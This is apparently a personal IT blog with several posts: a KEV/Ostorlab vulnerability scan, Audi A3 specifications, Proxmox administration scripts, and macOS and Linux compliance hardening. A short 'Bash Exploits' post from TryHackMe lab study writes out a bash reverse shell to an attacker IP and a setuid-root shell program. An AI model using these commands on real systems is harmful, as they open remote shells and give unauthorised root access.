	status: active
wrightrocket@Macintosh ~ %

Scanning for Known Exploitable Vulnerabilities (KEV)

2024-01-23T01:49:00.000-08:00

KEV

Known Exploitable Vulnerabilities is a project is dedicated to automate the detection of known exploited vulnerabilities through a single command, it includes exploits for vulnerabilities from:

Known Exploited Vulnerabilities Catalog by CISA
Tsunami by Google
Agent Asteroid by Ostorlab
Bug Bounty Programs

In order to be able to get KEV to work and the ostorlab scan run to succeed, I had to

1. clone the git repo: https://github.com/Ostorlab/KEV

2. use pip to install ostorlab

3. install docker

4. delete an IPv6 address

5. # --live-restore \ in /etc/sysconfig}/docker

6. start/restart docker

Finally, the docker swarm would start and the scan would start running for days!

ostorlab scan run --install -g agent_group.yaml domain-name pentest.biz

It produced a lot of output, and my computer got very busy with 12 docker containers

running with each having a virtual network interface. Running the following will show

the status of any scans running:

ostorlab scan list

🔸 WARNING: Local runtime ignores scan list pagination

✔ Scans listed successfully.

Showing 1 Scans

┌────┬─────────────────┬────────────────────────────┬──────────┐

│ Id │ Asset │ Created Time │ Progress │

╞════╪═════════════════╪════════════════════════════╪══════════╡

│ 1 │ pentest.biz │ 2024-01-19 14:08:24.518675 │ Running │

└────┴─────────────────┴────────────────────────────┴──────────┘

To see what Known Exploitable Vulnerabilities were present, I ran the following command, but the output never changed after only a

few hours:

ostorlab vulnz list -s 1

Here's the output, which looks redundant, but it shows different hosts and ports they had open. Surprising somewhat to me that

having that many ports open would not expose some kind of vulnerability, but kudos to the hosting provider for that.

🔹 Fetching vulnerabilities for scan 1

Scan 1: Found 13 vulnerabilities.

┌────┬───────────────────┬─────────────────────────────────────────────────────────────────────┬─────────────┬────────────────┬──────────────────────────────────────────────────────────────────────┐

│ Id │ Title │ Vulnerable target │ Risk rating │ CVSS V3 Vector │ Short Description │

╞════╪═══════════════════╪═════════════════════════════════════════════════════════════════════╪═════════════╪════════════════╪══════════════════════════════════════════════════════════════════════╡

│ 1 │ Network Port Scan │ Domain: pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ │ │ PORT: 22 │ │ │ │

│ │ │ PORT: 25 │ │ │ │

│ │ │ PORT: 26 │ │ │ │

│ │ │ PORT: 53 │ │ │ │

│ │ │ PORT: 80 │ │ │ │

│ │ │ PORT: 110 │ │ │ │

│ │ │ PORT: 135 │ │ │ │

│ │ │ PORT: 139 │ │ │ │

│ │ │ PORT: 143 │ │ │ │

│ │ │ PORT: 443 │ │ │ │

│ │ │ PORT: 445 │ │ │ │

│ │ │ PORT: 465 │ │ │ │

│ │ │ PORT: 587 │ │ │ │

│ │ │ PORT: 993 │ │ │ │

│ │ │ PORT: 995 │ │ │ │

│ │ │ PORT: 3306 │ │ │ │

All the other hosts for the domain, showed almost identical ports.

│ 1 │ Network Port Scan │ Domain: pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 2 │ Network Port Scan │ Domain: cpcontacts.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 3 │ Network Port Scan │ Domain: cpcalendars.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 4 │ Network Port Scan │ Domain: mail.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 5 │ Network Port Scan │ Domain: autodiscover.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 6 │ Network Port Scan │ Domain: webdisk.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 7 │ Network Port Scan │ Domain: webmail.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 8 │ Network Port Scan │ Domain: cpanel.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 9 │ Network Port Scan │ Domain: www.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 10 │ Network Port Scan │ Domain: ns3031.hostgator.com PORT: 21 │ Info │ │ List of open network ports. │

│ 11 │ Network Port Scan │ Domain: localhost.pentest.biz PORT: 5000 │ Info │ │ List of open network ports. │

│ 12 │ Network Port Scan │ Domain: ftp.pentest.biz PORT: 21 │ Info │ │ List of open network ports. │

│ 13 │ Network Port Scan │ Domain: ns3032.hostgator.com PORT: 21 │ Info │ │ List of open network ports. │

Audi A3 2.0 TFSI 8P FWD Sportback Premium Plus S-line in Meteor Gray Pearl Effect color

2024-01-14T00:21:00.000-08:00

Lots to see at https://en.wikipedia.org/wiki/Audi_A3

From https://www.autoblog.com/buy/2012-Audi-A3/review/:

The 2011 Audi A3 2.0 TFSI ($27,270), 2.0 TFSI S tronic ($28,750), 2.0 TDI S tronic ($30,250) and 2.0 TFSI quattro ($30,850) come with leather upholstery; dual-zone automatic climate control; power lumbar support; tilt and telescoping steering column; 10-speaker, 140-watt stereo; central locking with remote keyless entry; power windows/locks/mirrors; electronic cruise control; anti-theft alarm; trip computer; vanity mirrors; and five-spoke alloy wheels with 225/45-17 all-season radial tires.
The Premium Plus Package ($2,000) adds unique wheels, a storage package, illumination package, power front driver's seat with four-way power lumbar adjustment, multifunction three-spoke sport steering wheel (with alloy shift paddles on S tronic), bi-Xenon headlamps and LED daytime running lamps, Bluetooth, and aluminum cabin trim.
The 2.0 TFSI turbo engine's 200 horsepower is underscored by 207 pound-feet of torque, the latter delivered across a wide sweep of the tach needle from 1800 to 5000 rpm, making the two-liter feel as though it had a bunch more cubic inches grafted onto it somewhere. Yet, it's remarkably easy on fuel, with EPA city/highway estimates of 21/30 mpg with the manual transmission and 22/28 with the S tronic automatic.
There's little turbo lag, and the engine revs smoothly yet quickly through its powerband. Just push your right foot down and let the 2.0T deliver. Audi says the A3 2.0T sprints from zero to 60 mph in 6.7 seconds, but the raw number doesn't begin to do justice to the engine's throttle response and the chassis' willingness to get from here to there. Torque is ever ready, and the engine is quite happy to reach 6000 rpm over and over again.

The transmission choices illustrate Audi's industry-leading technology in transforming engine torque into rolling power. You can't go wrong with either the standard 6-speed manual or the paddle/lever-shifted S tronic automatic. The swiftness of choosing the correct gear with the S tronic feels like magic and makes every driver almost feel like an accomplished race car driver.
Surefooted agility, even with only the two front wheels driving the car, comes easily to the A3, thanks in large measure to its four-link rear suspension. Compactness, low weight and superior handling are all expected benefits of such a refined suspension. The multiple links result in better lateral rigidity for crisper handling and a comfortable ride. It's very good, and is one hallmark of an engineering department at full strength.
Braking is excellent. The four-wheel discs are big enough to handle repeated pedal stabs without overheating, and high-tech electronics ensure optimum braking in all conditions. The latest-generation ABS features a dual-rate servo, which amplifies brake force when it senses the driver's right-footed demand for emergency stopping power. The newest available electronic stability control guides the car's dynamics with astonishing computer power, integrating the functions of the ABS, EBD (electronic brake-force distribution), ASR (traction control system), MSR (engine drag torque control system), EDL (electronic differential lock), hydraulic brake assist and the ESBS (extended stability braking system).

8PA5YX

https://en.wikipedia.org/wiki/Audi_A3:

Engine 2.0 TFSI 1,984 cc (121 cu in) I4
CCZA 200 PS (147 kW; 197 hp) 280 N⋅m (207 lb⋅ft) at 1,700–5,000 rpm 6.8 s 2009–2013
Transmission 6 Speed Transverse Mounted S-Tronic DSG
Name Orientation Ratios Max. torque (N·m) Clutch type Comments
DQ250 Transverse 6 400 Wet 6-speed DSG transmission with wet clutch, most found on VAG-cars from 2003 till present day
A direct-shift gearbox (DSG, German: Direktschaltgetriebe^[1])^[2]^[3] is an electronically controlled, dual-clutch,^[2] multiple-shaft, automatic gearbox, in either a transaxle or traditional transmission layout (depending on engine/drive configuration), with automated clutch operation, and with fully-automatic^[2] or semi-manual gear selection. The first dual-clutch transmissions were derived from Porsche in-house development for the Porsche 962 in the 1980s.
In simple terms, a DSG automates two separate "manual" gearboxes (and clutches) contained within one housing and working as one unit.^[2]^[3]^[4] It was designed by BorgWarner and is licensed to the Volkswagen Group, with support by IAV GmbH.^{[citation needed]} By using two independent clutches,^[2]^[4] a DSG can achieve faster shift times^[2]^[4] and eliminates the torque converter of a conventional epicyclic automatic transmission.^[2]

CCZA	200 PS (147 kW; 197 hp)	280 N⋅m (207 lb⋅ft) at 1,700–5,000 rpm	6.8 s	2009–2013

DQ250	Transverse	6	400	Wet	6-speed DSG transmission with wet clutch, most found on VAG-cars from 2003 till present day

Performance Measured by Torque Pro 2024-06-01

Before Updating the grill:

After upgrading to honeycomb grill:

Upgraded Stereo to Touchscreen with navigation, front, and rear cameras:

https://wrightrocket.blogspot.com/2024/02/xtrons-android-auto-head-unit.html

Bash Exploits

2024-01-12T23:10:00.000-08:00

Exploits for Bash on Linux

TryHackMe

Reverse shell

CONFIGURE ATTACK MACHINE

Using netcat, the attacker could listen for a connection by executing:

ATTACK_PORT=4321

nc -lvp $ATTACK_PORT

CONFIGURE VICTIM MACHINE

ATTACK_IP=192.168.0.5

ATTACK_PORT=4321

bash -i >& /dev/tcp/$ATTACK_IP/$ATTACK_PORT 0>&1

If the above command can be executed on a machine to be hacked, then a user with an IP address of ATTACKER_IP like 192.168.0.5 would then be able to execute a port listener at that to wait for the connection.

This would cause a shell to be started on the remote machine.

SetUID & SetGid Bash

subash.c

int main() {

setuid(0);

setgid(0);

system("/bin/bash");

return 0;

}

After creating the above file, use:

gcc subash.c -o subash -w

chmod +s subash

Then, make this executable in a directory contained in the PATH variable or execute it with an absolute or relative path.

GitHub

Just as I was thinking how I could curate various bash exploits, I found that someone had already done a great job of it:

https://github.com/tobor88/Bash

Proxmox Virtual Environment (PVE) Solution for Virtual Desktop Infrastructure

2024-01-11T14:00:00.000-08:00

Using Community version of Proxmox Virtual Environment (PVE)

Using Web-based Interface of node available in the cluster of one or more nodes is the primary management tool to this incredible tool.

"You can use the web-based administration interface with any modern browser. When Proxmox VE detects that you are connecting from a mobile device, you are redirected to a simpler, touch-based user interface.

The web interface can be reached via https://youripaddress:8006 (default login is: root, and the password is specified during the installation process)." - https://pve.proxmox.com/wiki/Graphical_User_Interface

I love the custom tags for organizing collections of vms or containers.

# pvesh set /cluster/options --tag-style color-map=example:000000:FFFFFF

Nested VMs

https://pve.proxmox.com/wiki/Nested_Virtualization

Full VMs using thin snapshots for storage and QEMU/KVM

https://pve.proxmox.com/wiki/Qemu/KVM_Virtual_Machines

USAGE: qm <COMMAND> [ARGS] [OPTIONS]

qm cloudinit dump <vmid> <type>

qm cloudinit pending <vmid>

qm cloudinit update <vmid>

qm disk move <vmid> <disk> [<storage>] [OPTIONS]

qm disk resize <vmid> <disk> <size> [OPTIONS]

qm disk unlink <vmid> --idlist <string> [OPTIONS]

qm disk import <vmid> <source> <storage> [OPTIONS]

qm disk rescan [OPTIONS]

qm guest cmd <vmid> <command>

qm guest exec-status <vmid> <pid>

qm guest passwd <vmid> <username> [OPTIONS]

qm guest exec <vmid> [<extra-args>] [OPTIONS]

qm clone <vmid> <newid> [OPTIONS]

qm config <vmid> [OPTIONS]

qm create <vmid> [OPTIONS]

qm delsnapshot <vmid> <snapname> [OPTIONS]

qm destroy <vmid> [OPTIONS]

qm list [OPTIONS]

qm listsnapshot <vmid>

qm migrate <vmid> <target> [OPTIONS]

qm pending <vmid>

qm reboot <vmid> [OPTIONS]

qm reset <vmid> [OPTIONS]

qm resume <vmid> [OPTIONS]

qm rollback <vmid> <snapname> [OPTIONS]

qm sendkey <vmid> <key> [OPTIONS]

qm set <vmid> [OPTIONS]

qm shutdown <vmid> [OPTIONS]

qm snapshot <vmid> <snapname> [OPTIONS]

qm start <vmid> [OPTIONS]

qm stop <vmid> [OPTIONS]

qm suspend <vmid> [OPTIONS]

qm template <vmid> [OPTIONS]

qm cleanup <vmid> <clean-shutdown> <guest-requested>

qm importovf <vmid> <manifest> <storage> [OPTIONS]

qm monitor <vmid>

qm mtunnel

qm nbdstop <vmid>

qm remote-migrate <vmid> [<target-vmid>] <target-endpoint> --target-bridge <string> --target-storage <string> [OPTIONS]

qm showcmd <vmid> [OPTIONS]

qm status <vmid> [OPTIONS]

qm terminal <vmid> [OPTIONS]

qm unlock <vmid>

qm vncproxy <vmid>

qm wait <vmid> [OPTIONS]

qm help [<extra-args>] [OPTIONS]

Containers using LXC

https://pve.proxmox.com/wiki/Linux_Container

Template Location

/var/lib/vz/template/iso to install Full VMs ISOs

/var/lib/vz/template/cache for container image tarballs.

Command Line Administration

pveam - Proxmox VE Appliance Manager

pveam update - to update available container templates

pveam available - to show available templates

pveam download local debian-10.0-standard_10.0-1_amd64.tar.gz - download container template

pveam list local - to see downloaded templates

pct create 999 local:vztmpl/debian-10.0-standard_10.0-1_amd64.tar.gz - create new container

USAGE: pct <COMMAND> [ARGS] [OPTIONS]

pct clone <vmid> <newid> [OPTIONS]

pct create <vmid> <ostemplate> [OPTIONS]

pct destroy <vmid> [OPTIONS]

pct list

pct migrate <vmid> <target> [OPTIONS]

pct move-volume <vmid> <volume> [<storage>] [<target-vmid>] [<target-volume>] [OPTIONS]

pct pending <vmid>

pct resize <vmid> <disk> <size> [OPTIONS]

pct restore <vmid> <ostemplate> [OPTIONS]

pct template <vmid>

pct config <vmid> [OPTIONS]

pct set <vmid> [OPTIONS]

pct delsnapshot <vmid> <snapname> [OPTIONS]

pct listsnapshot <vmid>

pct rollback <vmid> <snapname> [OPTIONS]

pct snapshot <vmid> <snapname> [OPTIONS]

pct reboot <vmid> [OPTIONS]

pct resume <vmid>

pct shutdown <vmid> [OPTIONS]

pct start <vmid> [OPTIONS]

pct stop <vmid> [OPTIONS]

pct suspend <vmid>

pct console <vmid> [OPTIONS]

pct cpusets

pct df <vmid>

pct enter <vmid>

pct exec <vmid> [<extra-args>]

pct fsck <vmid> [OPTIONS]

pct fstrim <vmid> [OPTIONS]

pct mount <vmid>

pct pull <vmid> <path> <destination> [OPTIONS]

pct push <vmid> <file> <destination> [OPTIONS]

pct remote-migrate <vmid> [<target-vmid>] <target-endpoint> --target-bridge <string> --target-storage <string> [OPTIONS]

pct rescan [OPTIONS]

pct status <vmid> [OPTIONS]

pct unlock <vmid>

pct unmount <vmid>

pct help [<extra-args>] [OPTIONS]

Subscription vs. Non-Subscription

https://johnscs.com/remove-proxmox51-subscription-notice/

https://forum.proxmox.com/threads/from-subscription-to-no-subscription.111040/

/etc/apt/sources.list.d/pve-enterprise.list:

deb [arch=amd64] http://download.proxmox.com/debian/pve bullseye pve-no-subscription⁶

Get rid of ad

https://johnscs.com/remove-proxmox51-subscription-notice/

ACME protocol certificate

Web based interface, Command line and API

Add Debian Repos

User Management

pveuadm

USAGE: pveum <COMMAND> [ARGS] [OPTIONS]

pveum acl delete <path> --roles <string> [OPTIONS]

pveum acl list [FORMAT_OPTIONS]

pveum acl modify <path> --roles <string> [OPTIONS]

pveum group add <groupid> [OPTIONS]

pveum group delete <groupid>

pveum group list [FORMAT_OPTIONS]

pveum group modify <groupid> [OPTIONS]

pveum pool add <poolid> [OPTIONS]

pveum pool delete <poolid>

pveum pool list [FORMAT_OPTIONS]

pveum pool modify <poolid> [OPTIONS]

pveum realm add <realm> --type <string> [OPTIONS]

pveum realm delete <realm>

pveum realm list [FORMAT_OPTIONS]

pveum realm modify <realm> [OPTIONS]

pveum realm sync <realm> [OPTIONS]

pveum role add <roleid> [OPTIONS]

pveum role delete <roleid>

pveum role list [FORMAT_OPTIONS]

pveum role modify <roleid> [OPTIONS]

pveum user tfa unlock <userid>

pveum user tfa delete <userid> [OPTIONS]

pveum user tfa list [<userid>]

pveum user token add <userid> <tokenid> [OPTIONS] [FORMAT_OPTIONS]

pveum user token list <userid> [FORMAT_OPTIONS]

pveum user token modify <userid> <tokenid> [OPTIONS] [FORMAT_OPTIONS]

pveum user token remove <userid> <tokenid> [FORMAT_OPTIONS]

pveum user token permissions <userid> <tokenid> [OPTIONS] [FORMAT_OPTIONS]

pveum user permissions [<userid>] [OPTIONS] [FORMAT_OPTIONS]

pveum user add <userid> [OPTIONS]

pveum user delete <userid>

pveum user list [OPTIONS] [FORMAT_OPTIONS]

pveum user modify <userid> [OPTIONS]

pveum passwd <userid>

pveum ticket <username> [OPTIONS]

pveum help [<extra-args>] [OPTIONS]

Scripts

startall.sh

for vmid in {1000..1014}; do qm set $vmid --agent=1 --onboot=1; done

for vmid in {2000..2014}; do qm set $vmid --agent=1 --onboot=1; done

pvenode startall

clone-win10.sh

for i in {2000..2014}; do qm clone 102 $i --name "Win10S$[ $i - 2000 ]"; done

clone-kali.sh

for i in {1000..1014}; do qm clone 100 $i --name "KaliS$[ $i - 1000 ]"; done

destroy-win10.sh

for vm in {2000..2014}; do qm destroy $vm; done

shutdown-delay.sh

qm set 1001 --startup order=1,down=60

for vm in {1000..1014}; do echo $vm; qm set $vm --onboot 0; done

for vmid in {2000..2014}; do qm set $vmid --agent=1 --onboot=0; done

destroy-kali.sh

for vm in {1000..2014}; do qm destroy $vm; done

pveuser-add.sh

#!/bin/bash

# encrypted password stored in /etc/shadow created by passwd command easily

# assign the quoted encrypted password to the pw variable

pw="$y$j9T$G2QmgG....."

for user in "$@"

useradd -m -s /bin/bash -p $pw $user

pveum user add ${user}@pam -comment

pveum acl modify /vms/ -user ${user}@pam -role PVEVMUser

done

pveum user list

macOS Security Compliance

2023-10-20T15:20:00.003-07:00

"The macOS security compliance project is an open source effort to provide a programmatic approach to generating security guidance. This project can be used to create customized security baselines of technical security controls by leveraging a library of rules which are mapped to compliance requirements in existing security guides or used to develop customized guidance.
Through the use of a library of rules that enhance security, and mapping them back to existing guides and policies, a single project can support multiple security guides and regulated industry policies while also allowing for documentation and QA to be uniformly managed through a single effort. This approach simplifies, and radically accelerates, the updating of annual security guidance through a unification and standardization of effort."

The macOS Security Compliance project is hosted on GitHub:

https://github.com/usnistgov/macos_security

Installing macOS Security Compliance

Clone the git repository:

% git clone https://github.com/usnistgov/macos_security.git

Change to the repository:

% cd macos_security

View the list of available baselines:

% ls baselines

800-171.yaml cis_lvl2.yaml

800-53r5_high.yaml cisv8.yaml

800-53r5_low.yaml cmmc_lvl1.yaml

800-53r5_moderate.yaml cmmc_lvl2.yaml

DISA-STIG.yaml cnssi-1253_high.yaml

all_rules.yaml cnssi-1253_low.yaml

cis_lvl1.yaml cnssi-1253_moderate.yaml

Browse the available wiki to see documentation for the baselines:

https://github.com/usnistgov/macos_security/wiki

Generate a Compliance Script

From the list of the baselines, choose a baseline to assess the system. For example, if you chose the DISA-STIG baseline, then execute the following to generate the./build/DISA-STIG/DISA-STIG_compliance.sh file:

% ./scripts/generate_guidance.py -s baselines/DISA-STIG.yaml

Assess Compliance by Using Script

For any baseline that has been generated, begin the assessment by executing:

% sudo ./build/DISA-STIG/DISA-STIG_compliance.sh

The following text dialog will appear:

For the first time, the "1" option will have nothing to show

Instead, start with Run New Compliance Scan option by typing "2" and "return".

Here is a partial result that was produced by using the DISA-STIG_compliance.sh script:

Enter choice [ 1 - 4 ] 2

Fri Oct 20 21:24:24 UTC 2023 audit_acls_files_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:24 UTC 2023 audit_acls_folders_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:24 UTC 2023 audit_auditd_enabled passed (Result: pass, Expected: {string: pass})

Fri Oct 20 21:24:24 UTC 2023 audit_configure_capacity_notify passed (Result: 25, Expected: {integer: 25})

Fri Oct 20 21:24:24 UTC 2023 audit_failure_halt passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:24 UTC 2023 audit_files_group_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:24 UTC 2023 audit_files_mode_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:24 UTC 2023 audit_files_owner_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:24 UTC 2023 audit_flags_aa_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_flags_ad_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_flags_fd_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_flags_fm_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_flags_fr_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_flags_fw_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_flags_lo_configure passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:25 UTC 2023 audit_folder_group_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:25 UTC 2023 audit_folder_owner_configure passed (Result: 0, Expected: {integer: 0})

Fri Oct 20 21:24:25 UTC 2023 audit_folders_mode_configure passed (Result: 700, Expected: {integer: 700})

Fri Oct 20 21:24:26 UTC 2023 audit_settings_failure_notify passed (Result: 1, Expected: {integer: 1})

Fri Oct 20 21:24:26 UTC 2023 auth_pam_login_smartcard_enforce passed (Result: 2, Expected: {integer: 2})

Fri Oct 20 21:24:26 UTC 2023 auth_pam_su_smartcard_enforce failed (Result: 0, Expected: {integer: 2})

Fri Oct 20 21:24:26 UTC 2023 auth_pam_sudo_smartcard_enforce passed (Result: 2, Expected: {integer: 2})

...

Results written to /Library/Preferences/org.DISA-STIG.audit.plist

Press [Enter] key to continue...

The red background behind the text is highlighting a couple of failures. Those failures were previously fixed when I ran the remediation script. However, when I discovered that the remediation fix had disabled my ability to use either the "sudo" or "su" commands in a terminal window.

If my system had the ability to use a smartcard for authentication, then this would not have been a problem. Without the ability to authenticate to use either "sudo" or "su", this was too problematic for me. When I returned to the macOS Security Compliance Tool menu, I chose to View the Last Compliance Report by typing "1" and "return". As is shown, the system is now compliant with about a third of the compliance rules:

Beware that when the remediation of non-compliant is performed, the system may change in ways that might not be acceptable, so a backup would be highly recommended. Notice the disclaimer that is shown after starting option 3 on the menu:

3. Run Commands to remediate non-compliant settings

4. Exit

Enter choice [ 1 - 4 ] 3

THE SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND FREEDOM FROM INFRINGEMENT, AND ANY WARRANTY THAT THE DOCUMENTATION WILL CONFORM TO THE SOFTWARE, OR ANY WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE. IN NO EVENT SHALL NIST BE LIABLE FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO, DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF, RESULTING FROM, OR IN ANY WAY CONNECTED WITH THIS SOFTWARE, WHETHER OR NOT BASED UPON WARRANTY, CONTRACT, TORT, OR OTHERWISE, WHETHER OR NOT INJURY WAS SUSTAINED BY PERSONS OR PROPERTY OR OTHERWISE, AND WHETHER OR NOT LOSS WAS SUSTAINED FROM, OR AROSE OUT OF THE RESULTS OF, OR USE OF, THE SOFTWARE OR SERVICES PROVIDED HEREUNDER. WOULD YOU LIKE TO CONTINUE? [y/N]

For example, the remediation script replaced the "su" and "sudo" files in the /etc/pam.d directory, changed ownerships and permissions resulting in the lack of access to those commands for even my "admin" group user.

Fri Oct 20 21:51:51 UTC 2023 Settings for: auth_pam_login_smartcard_enforce already configured, continuing...

auth_pam_su_smartcard_enforce - Run the command(s)-> /bin/cat > /etc/pam.d/su << SU_END

# su: auth account password session

auth sufficient pam_smartcard.so

auth required pam_rootok.so

auth required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe

account required pam_permit.so

account required pam_opendirectory.so no_check_shell

password required pam_opendirectory.so

session required pam_launchd.so

SU_END

# Fix new file ownership and permissions

/bin/chmod 644 /etc/pam.d/su

/usr/sbin/chown root:wheel /etc/pam.d/su [y/N]

Before I could solve this problem with no "sudo" or "su" access for my user, I needed to have true administrative control over this system by enabling the "root" user. Fortunately, Apple does have a support article on how to enable the root user or change the root password on Mac:

https://support.apple.com/en-us/HT204012

Using a user with "admin" access and the Finder application, you can enable the root user or change the root password on Mac.

From the Finder, choose Go > Go to Folder:
Type in the path /System/Library/CoreServices/Applications/ and press return.
Double-click the Directory Utility.
To enable the root user, choose Edit > Enable Root User from the menu bar. Then enter the password that you want to use. You can then log out and log in as the root user.

After logging in the "su" and "sudo" files in /etc/pam.d directory were both modified from the state they were in pam.d after the remediation, to a state where the pam_group.so library would allow those commands for members of the "admin" and "wheel" groups as shown below:

References

For further reference about STIG policies and the ability to view them on mac OS, check out how to use the STIG Viewer for macOS at:

https://jyeee.medium.com/stig-viewer-on-macos-1aa0ccffb978

It will require Java be installed:

https://www.oracle.com/java/technologies/downloads/#jdk21-mac

Linux Security Baseline Compliance using OpenScap

2023-10-20T11:54:00.008-07:00

OpenScap

Tools

The OpenSCAP ecosystem provides multiple tools to assist administrators and auditors with assessment, measurement, and enforcement of security baselines.

Security Policies

The OpenSCAP project provides a wide variety of hardening guides and configuration baselines developed by the open source community, ensuring that you can choose a security policy which best suits the needs of your organization, regardless of its size.

Standards

Security Content Automation Protocol (SCAP) is U.S. standard maintained by National Institute of Standards and Technology (NIST). The OpenSCAP project is a collection of open source tools for implementing and enforcing this standard, and has been awarded the SCAP 1.2 certification by NIST in 2014.

Note: All of the above paragraphs were directly quoted from:

https://www.open-scap.org/

How Do You Use OpenSCAP?

Unfortunately, support for Windows ended in 2022. However, Linux still allows for systems to be verified for assessment, measurement, and enforcement of security policies.

The process breaks down to the following steps:

Install the scap-workbench software and related openscap files.
Optionally, customize or install your own custom security policy
Administratively use scap-workbench and choose a policy to test the system for compliance

Scan your system to verify pass or failure compliance with the selected policy
Save remediation scripts, execute them and restart the system

Repeat the indented steps above until compliance with the policy is achieved

Installing OpenSCAP

The easiest way to use OpenSCAP is to install the GUI scap-workbench software package. In your terminal window, type the following to install that package. Assuming a RedHat-based distribution, sudo privileges and a running terminal window:

sudo dnf -y install scap-workbench # provide your own password

Insuring Compliance with a Policy

The following steps can be performed after you have installed the scap-workbench package.You may have to repeat and troubleshoot issues in order to have compliance with the policy that you have selected:

Type: sudo scap-workbench
Select content to load to match the Linux distribution in use
Click the Load content button
Review the Rules to be checked and click the Scan button
Use the Save Results, and Generate remediation role buttons to at least generate a bash remediation script
Click the Show Report button to review pass and fail results
Press CTRL+q or use File menu, then Quit
Navigate to the directory where the bash script was saved and type: sudo ./remediation.sh
Watch to see what changes to your system are being made, as errors may occur. You should reboot the system and then verify that this profile has been properly applied by starting at the first step. If there are errors, you may need to troubleshoot the problem including doing research to fix issues or seek help from others. If there are no failures, then this process is complete.

After executing the remediation.sh script in Fedora Workstation 38, and scanning the system, I still found this one error:

Since this is an UEFI issue it had to be fixed by setting a UEFI password for the Grand Unified Boot Loader (GRUB). In this case using GRUB, the following command has resolved this issue:

sudo grub2-setpassword

# provide the same password twice

Creating /etc/sysctl/open-scap.conf

Setting the GRUB password required to edit how to start from the GRUB menu did fix this one last problem. However, when I rebooted many more failures were listed when I repeated the scan! Running the remediation script did nothing, so I had to read through the output to create a /etc/sysctl.d/<relevant name>.conf file. In this file, sysctl values are set which change how the Linux kernel behaves. I had to manually provide a solution by viewing each failure and create an entry as recommended manually in /etc/sysctl.d/open-scap.conf. To save you a lot of time, I have provided the open-scap.conf file I created.

Select the lines of the /etc/sysctl.d/open-scap.conf entries in bold below these steps, and right click, Copy to copy them.
Switch back to the terminal and execute the following command to create the file:

sudo nano /etc/sysctl.d/open-scap.conf

# provide your own password

Now, right click and choose Paste. You should see the content has been added.
Press Ctrl-x to exit. Press Enter to keep the name, and type a ‘y’ to save your changes.
Reboot the system, log back in again, repeat the procedure to ensure compliance with the policy.

Contents of /etc/sysctl.d/open-scap.conf:

# settings recommended by oscap for /etc/sysctl.d/open-scap.conf

kernel.kptr_restrict = 1

net.ipv4.conf.all.accept_redirects = 0

net.ipv4.conf.all.log_martians = 1

net.ipv4.conf.all.rp_filter = 1

net.ipv4.conf.all.secure_redirects = 0

net.ipv4.conf.all.send_redirects = 0

net.ipv4.conf.default.accept_redirects = 0

net.ipv4.conf.default.log_martians = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.conf.default.secure_redirects = 0

net.ipv4.conf.default.send_redirects = 0

net.ipv6.conf.all.accept_redirects = 0

net.ipv6.conf.default.accept_redirects = 0

After rebooting one last time my system was in compliance with the Common User Security Profile (CUSP) for Fedora Workstation. The system is now in compliance with CUSP.

Stig Auditing For CentOS 8 Stream

2023-02-21T15:56:00.001-08:00

Auditd

The auditd.service provides detailed auditing of attempted or successful kernel system calls and changes to files. The auditctl command can be used to interact with this important service for security.

usage: auditctl [options]

-a <l,a> Append rule to end of <l>ist with <a>ction

-A <l,a> Add rule at beginning of <l>ist with <a>ction

-b <backlog> Set max number of outstanding audit buffers

allowed Default=64

-c Continue through errors in rules

-C f=f Compare collected fields if available:

Field name, operator(=,!=), field name

-d <l,a> Delete rule from <l>ist with <a>ction

l=task,exit,user,exclude,filesystem

a=never,always

-D Delete all rules and watches

-e [0..2] Set enabled flag

-f [0..2] Set failure flag

0=silent 1=printk 2=panic

-F f=v Build rule: field name, operator(=,!=,<,>,<=,

>=,&,&=) value

-h Help

-i Ignore errors when reading rules from file

-k <key> Set filter key on audit rule

-l List rules

-m text Send a user-space message

-p [r|w|x|a] Set permissions filter on watch

r=read, w=write, x=execute, a=attribute

-q <mount,subtree> make subtree part of mount point's dir watches

-r <rate> Set limit in messages/sec (0=none)

-R <file> read rules from file

-s Report status

-S syscall Build rule: syscall name or number

--signal <signal> Send the specified signal to the daemon

-t Trim directory watches

-v Version

-w <path> Insert watch at <path>

-W <path> Remove watch at <path>

--loginuid-immutable Make loginuids unchangeable once set

--backlog_wait_time Set the kernel backlog_wait_time

--reset-lost Reset the lost record counter

--reset_backlog_wait_time_actual Reset the actual backlog wait time counter

